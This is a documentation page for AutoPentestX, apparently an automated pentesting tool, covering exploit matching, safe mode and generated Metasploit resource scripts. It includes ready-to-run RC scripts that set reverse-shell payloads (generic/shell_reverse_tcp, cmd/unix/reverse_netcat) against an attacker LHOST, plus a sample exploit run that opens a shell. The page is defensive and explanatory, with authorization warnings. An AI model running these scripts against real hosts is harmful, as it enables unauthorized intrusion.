> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/Gowtham-Darkseid/AutoPentestX/llms.txt
> Use this file to discover all available pages before exploring further.
# Exploitation and Metasploit Integration
> Understanding exploit matching, safe mode, and Metasploit RC script generation
AutoPentestX includes an intelligent exploitation engine that matches discovered vulnerabilities with known exploits and generates Metasploit resource scripts for manual testing.
**Safe Mode is ALWAYS enabled** by default. AutoPentestX simulates exploitation attempts but never executes actual exploits to prevent system damage.
## How Exploit Matching Works
The exploit engine analyzes vulnerabilities from two sources:
1. **Service-based matching**: Vulnerable service versions detected by Nmap
2. **CVE-based matching**: Known CVEs from the intelligence database
### Exploitation Phases
The engine receives vulnerability data from Phase 3 and Phase 4:
```python theme={null}
# From main.py:264-268
matched_exploits = exploit_engine.match_exploits(
self.vuln_results.get('vulnerabilities', []),
self.cve_results
)
```
Vulnerabilities are matched against the internal exploit database:
```python theme={null}
# From modules/exploit_engine.py:22-53
self.exploit_db = {
'vsftpd 2.3.4': {
'name': 'vsftpd_234_backdoor',
'module': 'exploit/unix/ftp/vsftpd_234_backdoor',
'description': 'VSFTPD v2.3.4 Backdoor Command Execution',
'safe': True
},
'EternalBlue': {
'name': 'ms17_010_eternalblue',
'module': 'exploit/windows/smb/ms17_010_eternalblue',
'description': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
'safe': False # Potentially destructive
}
# ... more exploits
}
```
Each match receives a confidence level:
* **HIGH**: Exact service version match
* **MEDIUM**: CVE-based match
* **LOW**: Generic service match
Before simulation, the engine verifies each exploit's safety rating:
```python theme={null}
# From modules/exploit_engine.py:211-219
if not exploit.get('safe', False) and self.safe_mode:
print(f"[!] Skipping potentially dangerous exploit: {exploit['name']}")
result = {
'status': 'SKIPPED',
'reason': 'Exploit marked as potentially destructive'
}
```
For safe exploits, Metasploit resource scripts are generated:
```bash theme={null}
[✓] Metasploit RC script saved: exploits/exploit_192.168.1.100_21_20240311_143022.rc
```
## Built-in Exploit Database
AutoPentestX includes exploits for common vulnerabilities:
### VSFTPD 2.3.4 Backdoor
**Metasploit Module:** `exploit/unix/ftp/vsftpd_234_backdoor`
**Description:** VSFTPD version 2.3.4 contains a backdoor allowing remote code execution.
**Trigger Conditions:**
* Service: `ftp`
* Version: `vsftpd 2.3.4`
**Safety Rating:** ✅ Safe (opens a shell but doesn't crash the service)
***
### ProFTPD 1.3.3c Backdoor
**Metasploit Module:** `exploit/unix/ftp/proftpd_133c_backdoor`
**Description:** ProFTPD 1.3.3c backdoor allows remote command execution.
**Trigger Conditions:**
* Service: `ftp`
* Version: `proftpd 1.3.3`
**Safety Rating:** ✅ Safe
### EternalBlue (MS17-010)
**Metasploit Module:** `exploit/windows/smb/ms17_010_eternalblue`
**CVE:** CVE-2017-0144
**Description:** Remote code execution in Windows SMB server (WannaCry vulnerability).
**Trigger Conditions:**
* CVE-2017-0144 detected
* Port 445 (SMB) open
* Windows operating system
**Safety Rating:** ⚠️ **Potentially Destructive** (can crash systems)
EternalBlue is automatically SKIPPED in safe mode because it may cause system crashes.
### Shellshock (Bash Environment Variable)
**Metasploit Module:** `exploit/multi/http/apache_mod_cgi_bash_env_exec`
**CVE:** CVE-2014-6271
**Description:** Remote code execution through bash environment variable injection.
**Trigger Conditions:**
* CVE-2014-6271 detected
* Apache with mod\_cgi detected
**Safety Rating:** ✅ Safe
***
### Drupalgeddon2
**Metasploit Module:** `exploit/unix/webapp/drupal_drupalgeddon2`
**CVE:** CVE-2018-7600
**Description:** Drupal remote code execution via form API.
**Trigger Conditions:**
* CVE-2018-7600 detected
* Drupal CMS identified
**Safety Rating:** ✅ Safe
## Console Output Interpretation
### Phase 6: Exploitation Assessment
```text Terminal Output theme={null}
╔══════════════════════════════════════════════════════════════════╗
║ [PHASE 6] ▶ Exploit simulation [SAFE MODE]... ║
╚══════════════════════════════════════════════════════════════════╝
──────────────────────────────────────────────────────────────────
[✓] Metasploit Framework detected
============================================================
AutoPentestX - Exploit Matching
============================================================
[✓] Exploit matched: vsftpd_234_backdoor for port 21
[✓] Exploit matched: ms17_010_eternalblue for CVE CVE-2017-0144
[*] Total exploits matched: 2
============================================================
AutoPentestX - Exploitation Simulation
============================================================
Safe Mode: ENABLED
Target: 192.168.1.100
============================================================
[*] Running in SAFE MODE - No actual exploitation will occur
[*] Generating exploit feasibility reports...
[*] Simulating exploit: exploit/unix/ftp/vsftpd_234_backdoor
Target: 192.168.1.100:21
Payload: generic/shell_reverse_tcp
[✓] Metasploit RC script saved: exploits/exploit_192.168.1.100_21_20240311_143022.rc
[*] Port 21: vsftpd_234_backdoor - SIMULATED
[!] Skipping potentially dangerous exploit: ms17_010_eternalblue
[*] Port 445: ms17_010_eternalblue - SKIPPED
============================================================
EXPLOITATION SUMMARY
============================================================
Exploits matched: 2
Exploits simulated: 2
Safe mode: ENABLED
============================================================
[i] Note: All exploitation was simulated only.
[i] RC scripts generated for manual testing if needed.
```
### Status Meanings
Exploit was deemed safe and an RC script was generated. You can manually test this exploit using Metasploit.
Exploit was flagged as potentially destructive and was not simulated, even in safe mode.
Safe mode prevented execution (this status appears if `--no-safe-mode` is used, but exploitation is still blocked).
## Metasploit Resource Scripts
RC scripts are saved to the `exploits/` directory and can be used for manual exploitation.
### RC Script Structure
```ruby exploits/exploit_192.168.1.100_21_20240311_143022.rc theme={null}
# Metasploit Resource Script
# Generated by AutoPentestX
# Target: 192.168.1.100:21
# Date: 2026-03-11 14:30:22
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
set RPORT 21
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
check
# Exploit execution disabled in safe mode
# Uncomment to execute: exploit
```
### Using RC Scripts with Metasploit
Launch msfconsole:
```bash theme={null}
msfconsole
```
Use the `resource` command to load the script:
```bash theme={null}
msf6 > resource exploits/exploit_192.168.1.100_21_20240311_143022.rc
```
The script will:
* Load the exploit module
* Configure all parameters
* Run the `check` command to verify exploitability
Metasploit's `check` command tests if the target is vulnerable:
```text theme={null}
[*] 192.168.1.100:21 - The target appears to be vulnerable.
```
or
```text theme={null}
[*] 192.168.1.100:21 - The target is not exploitable.
```
If you have authorization and want to proceed:
```bash theme={null}
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.100:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.100:21 - Sending malicious packet...
[*] Command shell session 1 opened
```
Only execute exploits with explicit written authorization. Exploitation can crash services or damage systems.
### Customizing RC Scripts
You can edit RC scripts before running them:
```ruby Modified Script theme={null}
# Change the listening port
set LPORT 8888
# Use a different payload
set PAYLOAD cmd/unix/reverse_netcat
# Set your attacker IP
set LHOST 10.0.0.5
# Add exploit options
set VERBOSE true
exploit
```
## Safe Mode vs No-Safe-Mode
### Default Behavior (Safe Mode)
```bash theme={null}
python3 main.py -t 192.168.1.100
```
**What Happens:**
* ✅ Identifies exploitable vulnerabilities
* ✅ Matches exploits from database
* ✅ Generates Metasploit RC scripts
* ✅ Runs `check` command simulation
* ❌ Does NOT execute exploits
* ❌ Does NOT modify target system
* ❌ Does NOT open reverse shells
**Output:**
```text theme={null}
[*] Running in SAFE MODE - No actual exploitation will occur
[*] Simulating exploit: exploit/unix/ftp/vsftpd_234_backdoor
Target: 192.168.1.100:21
Payload: generic/shell_reverse_tcp
[✓] Metasploit RC script saved
```
### Disabling Safe Mode
```bash theme={null}
python3 main.py -t 192.168.1.100 --no-safe-mode
```
**Currently Blocked**: Even with `--no-safe-mode`, actual exploitation is disabled in the code for safety. This is an intentional design decision.
**What Would Happen (if enabled):**
* ⚠️ Could execute actual exploits
* ⚠️ May crash services
* ⚠️ Could damage target systems
* ⚠️ Might trigger IDS/IPS alerts
* ⚠️ Legal liability if unauthorized
**Code Protection:**
From `modules/exploit_engine.py:127-132`:
```python theme={null}
if not self.safe_mode:
print("[!] WARNING: Safe mode disabled - This could cause system damage!")
return {
'status': 'BLOCKED',
'reason': 'Exploitation disabled for safety'
}
```
## Skipping Exploitation Phase
Use `--skip-exploit` to disable the entire exploitation phase:
```bash theme={null}
python3 main.py -t 192.168.1.100 --skip-exploit
```
**Impact:**
* Phase 6 is skipped entirely
* No exploit matching occurs
* No RC scripts are generated
* Reduces scan time by 2-5 minutes
* Report shows 0 exploitation attempts
**Console Output:**
```text theme={null}
[PHASE 6] Exploitation assessment... [SKIPPED BY OPERATOR]
```
**When to Skip:**
* ✅ Pure vulnerability discovery
* ✅ Compliance scanning
* ✅ Time-constrained assessments
* ✅ When Metasploit is not installed
## Exploitation in PDF Report
The report includes an "EXPLOITATION ASSESSMENT" section:
### Section Content
```text Report Excerpt theme={null}
EXPLOITATION ASSESSMENT
The following exploitation scenarios were evaluated in SAFE MODE.
No actual exploitation was performed to prevent system damage.
Total Exploits Identified: 2
• Port 21: vsftpd_234_backdoor
Status: SIMULATED
Description: VSFTPD v2.3.4 Backdoor Command Execution
• Port 445: ms17_010_eternalblue
Status: SKIPPED
Description: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Reason: Exploit marked as potentially destructive
```
### Interpreting Results
**Meaning:** Exploit is available and an RC script was generated.
**Action Items:**
1. Review the RC script in `exploits/` directory
2. Test in a lab environment first
3. If authorized, manually execute using Metasploit
4. Document findings
**Meaning:** Exploit exists but is flagged as dangerous.
**Action Items:**
1. Investigate the CVE manually
2. Check vendor patches
3. Test in an isolated lab only
4. Do NOT attempt on production systems
**Meaning:** No known exploits for detected vulnerabilities.
**Action Items:**
1. Vulnerabilities still exist (lack of exploit ≠ lack of risk)
2. Review CVE details for manual testing approaches
3. Check vendor advisories
4. Apply patches based on vulnerability severity
## Manual Metasploit Workflow
After AutoPentestX generates RC scripts, follow this workflow for manual testing:
```bash Step 1: List Generated Scripts theme={null}
ls -lh exploits/
```
```bash Step 2: Review Script Content theme={null}
cat exploits/exploit_192.168.1.100_21_20240311_143022.rc
```
```bash Step 3: Start Metasploit theme={null}
msfconsole -q
```
```bash Step 4: Load Script theme={null}
resource exploits/exploit_192.168.1.100_21_20240311_143022.rc
```
```bash Step 5: Verify Configuration theme={null}
show options
```
```bash Step 6: Check Exploitability theme={null}
check
```
```bash Step 7: Execute (if authorized) theme={null}
exploit
```
## Database Storage
Exploit attempts are stored in the database:
```sql theme={null}
CREATE TABLE exploits (
id INTEGER PRIMARY KEY,
scan_id INTEGER,
vulnerability_id INTEGER,
name TEXT,
status TEXT, -- 'SIMULATED', 'SKIPPED', 'BLOCKED'
result TEXT, -- JSON with details
created_at TIMESTAMP
);
```
### Query Exploitation Data
```bash theme={null}
sqlite3 database/autopentestx.db \
"SELECT name, status FROM exploits WHERE scan_id = 1;"
```
## Best Practices
Never attempt exploitation without explicit written permission, even in safe mode.
Use Metasploitable, DVWA, or other vulnerable VMs for practice before testing real systems.
Only disable safe mode if you're an expert and have proper authorization.
Keep detailed records of all exploitation attempts and results for legal protection.
## Next Steps
Learn how to interpret and act on PDF report findings
Complete CLI flag reference and examples